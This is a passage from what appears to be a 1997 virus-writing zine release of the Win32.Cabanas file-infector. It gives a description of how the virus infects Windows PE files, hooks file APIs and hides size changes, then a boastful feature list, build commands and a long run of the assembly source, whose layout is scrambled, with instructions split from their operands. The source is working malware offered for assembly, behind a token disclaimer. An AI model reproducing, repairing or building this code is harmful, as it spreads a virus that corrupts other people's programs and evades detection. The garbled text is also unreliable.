the file. DLL files are not infected. After this, the virus calculates a special checksum which uses the checksum field of PE files Optional Header and the file-stamp field of the Image File Header. If the file seems to be infected the virus closes the file. If not, the file is chosen for infection. Cabanas then closes the file, blanks the file attribute of the file with SetFileAttributeA API and saves the original attributes for later use. This means the virus is not stopped by the "Read Only" attribute. Then again, it opens and maps the possible host file in read/write mode. Next it searches for the GetModuleHandleA, GetModuleHandleW and GetProcAddress API imports in the host Import Table and calculates pointers to the .idata section. Then it calls the routine which patches the virus image into the file. This routine first checks that the .idata section has MEM_WRITE characteristics. If not it sets this flag on the section, but only if this section is not located in an executable area. This prevents the virus from turning on suspicious flags on the code section, triggered by some heuristic scanner. Then it goes to the entry point of the image and replaces five bytes with a FAR JMP instruction which will point to the original end of the host. After that it checks the relocation table. This is because some relocations may overwrite the FAR JMP at the entry point. If the relocation table size is not zero the virus calls a special routine to search for such relocation entries in the .reloc area. It clears the relocation type on the relocation record if it points into the FAR JMP area, thus this relocation will not take into account by the loader. The routine also marks the relocation, thus Cabanas will be able to relocate the host later on. Then it crypts all the information which has to be encrypted in the virus body. Including the table which holds the original 5 bytes from the entry point and its location. Next the virus calculates the special checksum for self checking purposes and saves this to the time stamp field of the PE header. When everything is ready, the virus calculates the full new size of the file and makes this value dividable by 101. The real virus code is around 3000 bytes only but the files will grow with more bytes, because of this. Cabanas has a very important trick here. The virus does not create a new section header to hold its code, but patches the last section header in the file (usually .reloc) to grow the section body large enough to store the virus code. This makes the infection less risky and less noticeable. Then the virus changes the SizeOfImage field in the PE header to reflect the changes made to the last section in the file, then unmaps and closes the file. Next it truncates the file at the previously calculated size and restores the original time and date stamp. Finally Cabanas resets the original attribute of the file. When all the possible files have been checked for infection, Cabanas is ready to go memory resident.

1.3. Rebuild the host, Hook API functions and Go memory resident ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The next phase is to rebuild the host program. The virus locates an internal parameter block which consists of the previously encrypted code from the host (5 bytes) and writes back the 5 original bytes at the entry point. After this, it relocates the code area if needed, by searching in the .reloc section for marked relocation entries. Next the virus hooks API functions and goes memory resident. The API hooking technique is based on the manipulation of the Import

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Table. Since the host program holds the addresses of imported functions in its .idata section, all the virus has to do is to replace those addresses to point to its own API handlers. To make those calculations easy, the virus opens and maps the infected program. Then it allocates memory for its per-process part. The virus allocates a 12232 bytes block and copies itself into this new allocated area. Then it searches for all the possible function names it wants to hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA, MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA, SetFileAttrW. Whenever it finds one of the latter APIs, it saves the original address to its own JMP table and replaces the .idata section's DWORD (which holds the original address of the API) with a pointer to its own API handlers. Finally the virus closes and unmaps the host and starts the application, by jumping into the original entry point in the code section. Some Win32 applications however may not have imports for some of these file related APIs, they can rather retrieve their addresses by using GetProcAddress and call them directly, thus the virus would be unable to hook this calls. Not so fast. The virus also hooks GetProcAddress for a special purpose. GetProcAddress is used by most applications. When the application calls GetProcAddress the virus new handler first calls the original GetProcAddress to get the address of the requested API. Then it checks if the Module Handle parameter is from KERNEL32 and if the function is one of the KERNEL32 APIs that the virus wants to hook. If so, the virus returns a new API address which will point into its NewJMPTable. Thus the application will still get an address to the virus new handler in such cases as well.

1.4. Stealth and fast infection capabilities ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW, FindNextFileA and FindNextFileW, the virus checks for already infected programs. If the program is not infected the virus will infect it, otherwise it hides the file size difference by returning the original size for the host program. During this, the virus can see all the file names the application accesses and infects every single clean file. Since the CMD.EXE (Command Interpreter of Windows NT) is using the above APIs during a DIR command, every non infected file will be infected (if the CMD.EXE was infected previously by Win32.Cabanas). The virus will infect files during every other hooked API request as well. Apart from the encrypted API names strings, the virus also contains the following copyright message: (c) Win32.Cabanas v1.0 by jqwerty/29A.

1.5. Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Win32.Cabanas is a very complex virus with several features new in Win32 based systems. It shows quite interesting techniques that can be used in the near future. It demonstrates that a Windows NT virus should not have any Windows 95 or Windows NT especific functionality in order to work on any Win32 system. The "per-process" residency technique also shows a portable viable solution to avoid known compatibility issues between Windows 95 and Windows NT respecting their low level resident driver implementations. Virus writers can use these techniques and their

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

knowledge they have had on Windows 95 to come to a more robust platform. So far Win32.Cabanas has made this first step. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

2. Shortcutz ÄÄÄÄÄÄÄÄÄÄÄÄ (*) http://www.dials.ccas.ru/inf/cabanas.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Win32.Cabanas: A brief description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Igor A. Daniloff Win32.Cabanas is the first known virus that infects files under Microsoft 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only is it capable of infecting PortableExecutable files, but also remains resident in the current session of an infected program in all these Windows systems. The viruses specifically designed for Windows 95 thus far could not properly infect files in Windows NT. Although files of Windows 95 and Windows NT have identical PE format, certain fields in their PE headers are different. Therefore, for infecting files under Windows NT, the PE header must be modified appropriately; otherwise Windows NT would display an error message in the course of loading the file. Furthermore, viruses encounter certain problems in determining the base addresses of WIN32 KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows NT are located at different memory addresses. But Win32.Cabanas smartly handles these problems. On starting an infected file, the virus gets control, unpacks and decrypts its table of names of WIN32 KERNEL API procedures that are needed in the sequel, and then determines the base address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL API functions. While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA, GetModuleHandleW, and GetProcAddress functions from the Import Table and stores in its code the offsets of the addresses of these procedures in the Import Table (in the segment .idata, as a rule). If the names of these procedures are not detectable, Win32.Cabanas uses a different undocumented method of finding the base address of KERNEL32 and the addresses of WIN32 KERNEL API. But there is a bug in this undocumented method; therefore the method is inoperative under Windows NT. If the addresses of GetModuleHandleA or GetModuleHandleW functions are available in the Import Table of the infected file, the virus easily determines the WIN32 KERNEL API addresses through the GetProcAddress procedure. If the addresses are not available in the Import Table, the virus craftily finds the address of GetProcAddress from the Export Table of KERNEL32. As already mentioned, this virus mechanism is not operative under Windows NT due to a bug, and, as a consequence, the normal "activity" of the virus is disabled. This is the only serious bug that prevents the proliferation of Win32.Cabanas under Windows NT. On the contrary, in Windows 95 the virus "feels completely at home" and straightforwardly (even in the absence of the addresses of GetModuleHandleA or GetModuleHandleW) determines the base address of KERNEL32.DLL and GetProcAddress via an undocumented method. Using the GetProcAddress function, Win32.Cabanas can easily get the address of any WIN32 KERNEL API procedure that it needs. This is precisely what the virus does: it gets the addresses and stores them. Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a file, the virus checks for a copy of its code through certain fields in

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

the PE header and by the file size, which for an infected must be a multiple of 101. As already mentioned, the virus searches for the names of GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table and saves the references to their addresses. Then it appends its code at the file end in the last segment section (usually, .reloc) after modifying the characteristics and size of this section. Thereafter, the virus replaces the five initial bytes of the original entry point of the code section (usually, .text or CODE) by a command for transferring control to the virus code in the last segment section (.reloc). For this purpose, the virus examines the relocation table (.reloc) for finding some element in the region of bytes that the virus had modified. If any, the virus "disables" the reference and stores its address and value for restoring the initial bytes of the entry point at the time of transfer of control to the host program and, if necessary, for appropriately configuring the relocation. After infecting all files that yield to infection in \WINDOWS, \WINDOWS\ SYSTEM, and in the current folder, the virus plants a resident copy into the system and "intercepts" the necessary system functions. Using VirtualAlloc, the virus allots for itself 12232 bytes in the memory and plants its code there. Then it tries to "intercept" the following WIN32 KERNEL API functions: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus "picks up" the addresses of these functions from the Import Table, and writes the addresses of its handlers in the Import Table. On failing to "intercept" certain necessary functions, the virus, when the host program calls for the GetProcAddress function, verifies whether this function is necessary for the host program, and returns the address of the virus procedure to host program if necessary. When a program calls for certain functions that have been "intercepted" by Win32.Cabanas, the file infection engine and/or the stealth mechanism are\is initialized. Thus, when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW functions are called, the virus may infect the file which is being searched and hide the increase in the infected file size. Win32.Cabanas cannot be regarded as a "true resident" virus, because it "intercepts" system functions and installs its copy in a specific memory area only in the current session of an infected program. But what will happen on starting, for example, an infected Norton Commander for Windows 95 or Command Interpreter for Windows NT? Or a resident program? Indeed, Win32.Cabanas will also "work hard" side by side with such a program until it is terminated. Win32.Cabanas contains an encrypted text string "(c) Win32.Cabanas v1.0 by jqwerty/29A" (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

3. Main featurez ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ * Platformz: * Residency: * Non-Residency: * Stealth: * AntiDebuging:

WindowsNT, Windows95, Win32s, i.e. all Win32 platformz. Yes, "Per Process", workin on all Win32 systemz. Yes, direct action, infects PEz before goin resident. Yes, size stealth of inf.filez (F-Potatoe95 fooled). Yes, TD32 or any other "aplication" level debuger generates an exception when debugin an infected aplication. This obviosly doesnt aply for Soft-ICE for Windows95, a big monster.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

* AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection. Other Win95 virusez tend to "mark" the PE header so they are easily noticeable. See: Other featurez (e). * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*. * Fast infection: Yes, filez are infected when accesed for any reason. * Polymorphism: No, the poly engine was stripped and removed on purpose. * Other featurez: (a) The EntryPoint field in the PE hdr is not modified. (b) Win32 file API functionz are hooked for infection and stealth purposez but also for platform compatibility. (c) Use of the Win32 "File-Maping" API functionz, thus implementin "Memory-Mapped Filez". No more "ReadFile", "SetFilePointer", "WriteFile"... it was about time. (d) Absolutely no use of absolute adressez in sake of compatibility with other future Win32 releasez. (e) The SHAPE AV program sucks, but sadly it was the best thing detectin PE infected filez heuristicaly. Well almost as it didnt triger a single flag on this one :) (f) Use of "Structured Exception Handling" (SEH) in those critical code fragmentz that could generate GP faultz, i.e. exceptionz are intercepted and handled properly. (g) Unicode suport. This babe really works in NT. No lie.

4. Who was Cabanas? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Gonzalo Cabanas used to be a daydream believer. We shared several thingz in comon, heard same R.E.M music style, wore the same ragged blue jeanz, and behaved like kidz everywhere we went together, putin tackz on the teacher's chair, stealin some classmate's lunch and so on. We even liked the same girlz, which explains why we sometimez ended up punchin each other's face from time to time. However, u could find us the next day, smoking around by the skoolyard as if nothin had ever hapened. We were the best friendz ever. I know this virus wont return him back to life, nor "will do him justice", however, i still wanted to somewhat dedicate this program in his honor.

5. Greetz ÄÄÄÄÄÄÄÄÄ The greetz go to: Gonzo Cabanas ......... Murkry ................ VirusBuster/29A ....... Vecna/29A ............. l- .................... Int13 ................. Peter/F-Potatoe ....... DV8 (H8), kdkd, etc ... GriYo, Sandy/29A ...... Hope to see u somewhere in time.. old pal! Whoa.. i like yer high-tech ideaz budie! U're the i-net man pal.. keep doin it! Keep up the good work budie.. see ya! Did ya ask for some kick-ass lil' creature? X-D Hey pal.. u're also a southamerican rocker! ;) Yer description rulez.. Mikko's envy shines! Hey budiez.. now where da hell are u? Thx for yer patience heh X-D

6. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This source code is for educational purposez only. The author is not responsable for any problemz caused due to the assembly of this file.

7. Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn cabanas.asm tlink32 -Tpe -c -x -aa cabanas,,, import32

; pewrsec cabanas.exe ; ; ; (c) 1997 Jacky Qwerty/29A.

.386p .model

flat

;generate 386+ protected mode instructionz ;no segmentz and a full 32-bit offset.. what a dream ;)

;Some includez containin very useful structurez and constantz for Win32 include include include include Useful.inc Win32API.inc MZ.inc PE.inc

;Some equ's needed by the virus nAPIS nHANDLEZ nPATHNAMEZ extrn extrn .data db .code ;Virus code starts here v_start: call code_table: dd dw db dw code_start: ;Packed APIz needed by the virus. They will travel in packed/encrypted form ve_stringz: veszKernel32 veszGetModuleHandleA veszGetModuleHandleW eExts veszGetProcAddress veszGetFileAttributesA veszGetFileAttributesW veszMoveFileExA veszMoveFileExW vesz_lopen veszCopyFileA veszCopyFileW db db db db db db db db db db db db 'KERNEL32',0 'GetModuleHandleA' 80h,17 'fxEtcR',0 ;list of file extensionz 12345678h 1 ? 0 ;host RVA entry point ;number of bytez ;bytez to patch ;end of parameter block get_base ? ;some dummy data so tlink32 dont yell = = = 1*1024 2*1024 + 512 4*1024 + 512 ;size of jump table holdin hooked APIz ;size of Handlez table ;size of PathNamez table

GetModuleHandleA :proc GetProcAddress :proc

;APIz used durin first generation only

'GetProcAddress',0 'Ge','t'+80h,'AttributesA' 80h,19 'Mov','e'+80h,'ExA' 80h,12 '_lopen',0 'Cop','y'+80h,'A' 80h,10

veszOpenFile veszMoveFileA veszMoveFileW veszCreateProcessA veszCreateProcessW veszCreateFileA veszCreateFileW veszFindClose veszFindFirstFileA veszFindFirstFileW veszFindNextFileA veszFindNextFileW veszSetFileAttributesA veszSetFileAttributesW veszCloseHandle veszCreateFileMappingA veszMapViewOfFile veszUnmapViewOfFile veszSetFilePointer veszSetEndOfFile veszSetFileTime veszGetWindowsDirectory veszGetSystemDirectory veszGetCurrentProcess veszGetModuleFileName veszWriteProcessMemory veszWideCharToMultiByte veszVirtualAlloc eEndOfFunctionNamez ;Copyright and versionz eszCopyright ve_string_size get_base: mov mov xor mov sub cld sub add push lea stosd add delta_host = stosd mov stosd ebp_num = tmp_edi = mov pushad xchg db db =

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

'Ope','n'+80h,0 'Mov','e'+80h,'A' 80h,10 'CreateProcessA' 80h,15 'Creat','e'+80h,'A' 80h,12 'FindClose',0 'FindFirs','t'+80h,'A' 80h,15 'FindNex','t'+80h,'A' 80h,14 'Se','t'+80h,'AttributesA' 80h,19 'CloseHandle',0 'Creat','e'+80h,'MappingA',0 'MapViewO','f'+80h,0 'UnmapViewO','f'+80h,0 'Se','t'+80h,'Pointer',0 'SetEndO','f'+80h,0 'Se','t'+80h,'Time',0 'GetWindowsDirectoryA',0 'GetSystemDirectoryA',0 'GetCurrentProcess',0 'GetModul','e'+80h,'NameA',0 'WriteProcessMemory',0 'WideCharToMultiByte',0 'VirtualAlloc',0 0

"(c) Win32.Cabanas v1.1 by jqwerty/29A.",0 $ - ve_stringz

ecx,ve_string_size esi,[esp] ebx,ebx eax,esi esi,ecx

;get size of packed/encrypted stringz ;get pointer to packed/encrypted stringz

dword ptr [esp],code_table - seh_fn esi,[eax - 4] dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D edi,[esi + pCodeTable - ve_stringz] ;save pointer to code_table eax,12345678h dword ptr $ - 4 ;save actual host base adress eax,esi ;save pointer to virus start ddGetProcAddress + 7Fh pcode_start + 4 fs:[ebx],esp eax,[ebx - 2] 2Dh ;go away lamerz and wannabeez..

seh_rs: sub pop push push decrypt_stringz: lodsb rol xor jns add jnz stosb xor lodsb push xchg mov rep xchg sub pop jmp stosb xor sub stosd cmp org stosb jnz mov loop call pop jnz sub xor mov push cld copy_K32W: lodsb stosw loop call jnz call jnz quit_app: pop ret db seh_fn: mov lea

edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name eax edi ;pass the pointer twice edi ;decrypt/unpack API namez and other stringz

al,cl al,0B5h d_stor al,-80h d_file ;expand/unpack unicode API name eax,eax esi ecx,eax esi,edx movsb ecx,eax byte ptr [edi - 2],'A'-'W' esi d_updt eax,eax eax,-'eliF' al,? $ - 1 d_loop edx,edi decrypt_stringz ;get next character MyGetModuleHandleA esi gotK32 ecx,ecx eax,eax cl,9 edi ;get KERNEL32 base adress (first try) ;jump if found

d_file:

;expand to 'File' where aplies

d_stor: d_updt: d_loop:

;make unicode string for KERNEL32

copy_K32W MyGetModuleHandleW gotK32 MyGetModuleHandleX gotK32

;get KERNEL32 base adress (second try) ;jump if found ;get KERNEL32 base adress (third try) ;jump if found

eax

;shit.. KERNEL32 base adress not found ;try to quit aplication via an undocumented way ;some prefix to confuse lamerz

67h eax,[esp.EH_EstablisherFrame] esp,[eax - cPushad]

popad xor lea pop jmp gotK32: mov cmp xchg jnz lea call jecxz lea mov sub mov find_APIs: lea lea GetAPIAddress: call jecxz cld xchg stosd @endsz cmp jnz lea lea push push call call push push call call xor mov inc call build_host: mov mov cld lodsd add add_1st_val = xchg add push get_count:

eax,eax ebp,[edi + ebp_num - tmp_edi] dword ptr fs:[eax] seh_rs

;remove SEH frame

[ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress dword ptr [ebp + ddGetProcAddress - ebp_num],0 ebx,eax find_APIs ;got RVA pointer to GetProcAdress API? esi,[ebp + vszGetProcAddress - ebp_num] MyGetProcAddressK32 ;no, get adress of GetProcAdress directly find_APIs eax,[ebp + ddGetProcAddress2 - ebp_num] [eax],ecx eax,[ebp + phost_hdr - ebp_num] [ebp + ddGetProcAddress - ebp_num],eax ;find file related API adressez from KERNEL32.. esi,[ebp + FunctionNamez - ebp_num] edi,[ebp + FunctionAdressez - ebp_num]

MyGetProcAddressK32 quit_app eax,ecx

;get API adress

[esi],al GetAPIAddress

;save retrieved API adress ;point to next API name ;end of API namez reached? ;no, get next API adress

ebx,[ebp + Process_Dir - ebp_num] edi,[ebp + PathName - ebp_num] 7Fh edi [ebp + ddGetWindowsDirectoryA - ebp_num] ebx ;infect filez in WINDOWS directory 7Fh edi [ebp + ddGetSystemDirectoryA - ebp_num] ebx ;infect filez in SYSTEM directory eax,eax byte ptr [edi],'.' eax ebx ;infect filez in current directory ;rebuild the host.. esi,[ebp + pCodeTable - ebp_num] ;get code table of host ebx,[ebp + phost_hdr - ebp_num] ;get host base adress

eax,0B2FD26A3h dword ptr $ - 4 edi,eax edi,ebx edi

;decrypt original entry point RVA

;save entry point for l8r retrieval

call xchg cld lodsw cwde xchg mov push push push push push push push

[ebp + ddGetCurrentProcess - ebp_num] ecx,eax

;get pseudo-handle for current process

;get number of bytes to copy ecx,eax edx,ecx ecx ;push parameterz to WriteProcessMemory API eax esp ecx esi edi eax ;decrypt the chunk of original host code previosly encrypted..

decrypt_hostcode: lodsb xor xor_2nd_val = rol mov loop sub old_base = add jz

al,06Ah byte ptr $ - 1 al,cl [esi-1],al decrypt_hostcode ecx,12345678h dword ptr $ - 4 ecx,ebx ;has host base adress been relocated? write_chunk ;no, relocation fix not necesary.. jump

;fix code pointed to by one or more nulified relocationz.. pushad lea sub add mov ;get RVA start of relocation section.. esi,[ebx.MZ_lfanew] edi,ebx esi,[esi] ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir. .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_Size \ -MZ_lfanew] _popad esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_VirtualAddress \ -MZ_lfanew] redo_reloc ;pass adress of fix_relocs label as a parameter

jecxz mov

call fix_relocs: lodsw cwde dec .if jnc item .endif test jnz lea cmp jnc add cmp

;process relocation block and look for nulified relocationz.. ;get relocation item eax sign? f_next_reloc

;if first item, jump to get next relocation

ah,mask RD_RelocType shr 8 f_next_reloc eax,[eax + ebx + 5] edi,eax f_next_reloc eax,-4 eax,edx

;is relocation nulified? ;no, jump to get next relocation item ;relocation item points inside chunk of code? ;no, jump to get next relocation item

jnc

f_next_reloc

;no, jump to get next relocation item

;relocation item is pointing inside chunk of code.. add delta to fix it.. pushad mov mov mov code table mov xchg sub mov xchg add mov popad clc f_next_reloc: loop ret redo_reloc: call _popad: popad write_chunk: call section xchg pop cld pop jecxz to host xor lodsw jnz to host cwde xchg sub jecxz back to host jmp n_host: pop go_resident: lea push push push call xchg lea table jecxz call g_host Open&MapFile ;open host filename and memory-map it esi,[ebp + FindData - ebp_num] MAX_PATH esi ecx [ebp + ddGetModuleFileName - ebp_num] ecx,eax ebx,[ebp + jmp_addr_table - ebp_num] ecx,eax edi,ecx go_resident get_count eax edx,eax n_host ;get pointer to next chunk of code to patch, if any ;if error, jump and try to stay resident without jumpin back ecx,eax edx eax n_host [ebp + ddWriteProcessMemory - ebp_num] ;write chunk of code to the code get_relocs fix_relocs ;get next relocation item

ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress ebp,[ebx + edi - 4] ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside ebx,[ebx + edx] ebp,[ecx - 4] ecx,edi esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add ebx,[edx + ecx] [eax + ecx],esi ;add delta.. (aack! damned relocationz..) [edx + ecx],ebx

;if error, jump and try to stay resident without jumpin back

;no more chunkz, jump and try to stay resident, then jump ;jump and patch the next chunk ;unwind return adress, an error occured, cant jump to host :(

;get host filename ;get pointer to start of jump adress

g_host: jecxz jmp_host ;if error, jump back to host push PAGE_EXECUTE_READWRITE push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN push (virtual_end2 - code_start + 3) and -4 push esi ;NULL ;let OS choose memory adress call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus code and bufferz lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function namez to hook mov edi,non_res - code_start xchg ecx,eax ;get size of new allocated block lea esi,[ecx + PathNamez - code_start] jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host xchg edi,ecx ;get target adress of new allocated block mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W) mov esi,edi xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and store new target adress as new source adress lea edx,[edi + ecx + jmp_table_size + 1] mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked APIs in the new jump table cld rep movsb ;copy virus code to new allocated block mov [esi],cl ;force a null to mark the end of function namez to hook pop ecx ;get start of memory-maped file inc edi ;get pointer to NewAPItable push ecx hook_api: jump table.. ;hook API functionz, retrieve old API adress and build new API entry into

pushad call IGetProcAddressIT ;get RVA pointer of API function inside import table test eax,eax jz next_api_hook ;if not found, jump and get next API name add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by addin the actual host base adress mov edx,esp push eax push esp xchg esi,eax mov al,0B8h ;build "mov eax,?" instruction into jump table push 4 push edx stosb call [ebp + ddGetCurrentProcess - ebp_num] push esi push eax cld movsd ;get and copy old API adress into jump table call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook cld mov al,0E9h ;build "jmp ?" instruction to jump to new API handler pop edx pop ecx stosb movzx eax,word ptr [ebx] ;build relative offset to new API handler sub eax,edi add eax,[ebp + pcode_start - ebp_num] stosd push edi

next_api_hook: popad inc xchg @endsz inc cmp xchg jnz close_jmp_host: call jmp_host: cld pop eax jmp eax while patchin the code section Close&UnmapFile ;close and unmap host file

ebx esi,eax ;get pointer to next API name ebx [esi],al eax,esi hook_api ;check end of API namez to hook ;jump and get next API, if there are more APIz to hook

;jmp to host.. or try to quit aplication if an error ocurred

NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32.. call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX pushad mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress call get_ebp ;get EBP to reference internal variablez correctly xchg ecx,eax jecxz end_getproc ;get out if retrieved API adress is zero sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress? jnz end_getproc ;no, get out lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get pointer to start of jump table lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function namez to hook cld n_gproc_next_str: namez to hook.. inc scasb jnz mov inc scasb jz dec edx ;get adress to next API function name $ - 1 esi,[esp.cPushad.Arg2] edx end_getproc edi ;get pointer to specified API function name ;search specified API function name from the list of posible API

;if end of API namez reached, get out

n_gproc_next_chr: cmpsb jnz dec scasb jnz ;do API namez match? ;no, get next API name

n_gproc_next_str edi n_gproc_next_chr

n_gproc_apis_match: lea

;API namez match, we need to hook the API.. ;get top of jump table

ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num]

mov cmp jc push sub stosb pop xchg adress stosd mov stosb movzx sub add stosd mov jump table end_getproc: popad ret

edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry ebx,edi ;check if jump table is full end_getproc ;get out if full edi al,-0B8h ;build "mov eax,?" instruction into jump table eax eax,[esp.Pushad_eax]

;retrieve old API adress and swap with the new API

al,0E9h

;build "jmp ?" instruction to jump to new API handler

eax,word ptr [edx] ;build relative offset to new API handler eax,edi eax,[ebp + pcode_start - ebp_num] [ebp + pNewAPIs - ebp_num],edi ;update pointer to next API entry in the

(2*Pshd)

;return to caller

jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz.. dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw jmp_table_size = NewSetFileAttrW: NewCreateFileW: NewCreateProcessW: NewMoveFileW: NewCopyFileW: NewMoveFileExW: NewGetFileAttrW: CommonProcessW: test org al,? $ - 1 NewGetProcAddr NewGetFileAttrA NewGetFileAttrW NewMoveFileExA NewMoveFileExW New_lopen NewCopyFileA NewCopyFileW NewOpenFile NewMoveFileA NewMoveFileW NewCreateProcessA NewCreateProcessW NewCreateFileA NewCreateFileW NewFindCloseX NewFindFirstFileA NewFindFirstFileW NewFindNextFileA NewFindNextFileW NewSetFileAttrA NewSetFileAttrW code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4

$ - jmp_addr_table ;new API handlerz (unicode version)..

;clear carry (unicode version)

NewSetFileAttrA: NewCreateFileA: NewCreateProcessA: NewMoveFileA: NewOpenFile: NewCopyFileA: New_lopen: NewMoveFileExA: NewGetFileAttrA: CommonProcessA:

;new API handlerz (ansi version)..

stc ;set carry (ansi version) pushad call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz) jecxz jmp_old_api call findfirst ;get atributez, size of file and check if it exists jz jmp_old_api dec eax push eax ;save search handle @copysz ;copy filename to an internal buffer call Process_File2 ;try to infect file.. NCF_close: call jmp_old_api: popad jmp [ebp + ddFindClose - ebp_num] ;close file search

eax

;jump to original API adress ;new findfirst API handler.. infect files, stealth (unicode version) al,? $ - 1 ;clear carry (unicode version)

NewFindFirstFileW: test org NewFindFirstFileA:

;new findfirst API handler.. infect files, stealth (ansi version)

correctly

pathnamez pathnamez

next2_ff:

stc ;set carry (ansi version) call APICall@n_2 ;call old findfirst API pushad inc eax ;if any error, get out jz go_ret_2Pshd dec eax jz go_ret_2Pshd call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez and convert unicode string to ansi (for unicode version APIz) jecxz go_ret_2Pshd mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in table lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of table cmp edi,ebx jnc go_ret_2Pshd ;if not enough space to store filename, jump mov ebx,edi @copysz ;copy filename to pathnamez table mov al,[edi - 1] ;get end of path.. add al,-'\' jz eop_ff sub al,':' - '\' jz eop_ff dec edi

